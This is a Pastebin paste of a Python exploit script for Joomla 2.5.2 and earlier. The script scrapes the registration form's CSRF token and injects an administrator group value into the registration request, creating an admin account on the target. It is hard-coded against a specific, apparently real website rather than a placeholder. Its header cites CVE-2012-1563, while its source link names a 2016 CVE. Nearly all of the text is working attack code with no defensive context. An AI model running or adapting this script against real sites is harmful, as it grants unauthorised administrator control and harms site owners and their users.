Advertisement
ukriger

J25.PY_1

Dec 3rd, 2017
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. #!/usr/bin/python3
  2. # CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
  3. # cf
  4. # Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution
  5.  
  6. import bs4
  7. import requests
  8. import random
  9.  
  10.  
  11. url = 'http://backyardputtputt.com/'
  12. form_url = url + 'index.php?option=com_users&view=registration'
  13. action_url = url + 'index.php/component/users/?task=registration.register'
  14.  
  15. username = 'user%d' % random.randrange(1000, 10000)
  16. email = username + '@p33.org'
  17. password = '123456'
  18.  
  19. user_data = {
  20. 'name': username,
  21. 'username': username,
  22. 'password1': password,
  23. 'password2': password + 'XXXinvalid',
  24. 'email1': email,
  25. 'email2': email,
  26. 'groups][': '7'
  27. }
  28.  
  29. session = requests.Session()
  30.  
  31. # Grab original data from the form, including the CSRF token
  32.  
  33. response = session.get(form_url)
  34. soup = bs4.BeautifulSoup(response.text, 'lxml')
  35.  
  36. form = soup.find('form', id='member-registration')
  37. data = {e['name']: e['value'] for e in form.find_all('input')}
  38.  
  39. # Build our modified data array
  40.  
  41. user_data = {'%s]' % k: v for k, v in user_data.items()}
  42. data.update(user_data)
  43.  
  44. # First request will get denied because the two passwords are mismatched
  45.  
  46. response = session.post(action_url, data=data)
  47.  
  48. # The second will work
  49.  
  50. data['jform[password2]'] = data['jform[password1]']
  51. response = session.post(action_url, data=data)
  52.  
  53. print("Account created for user: %s [%s]" % (username, email))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement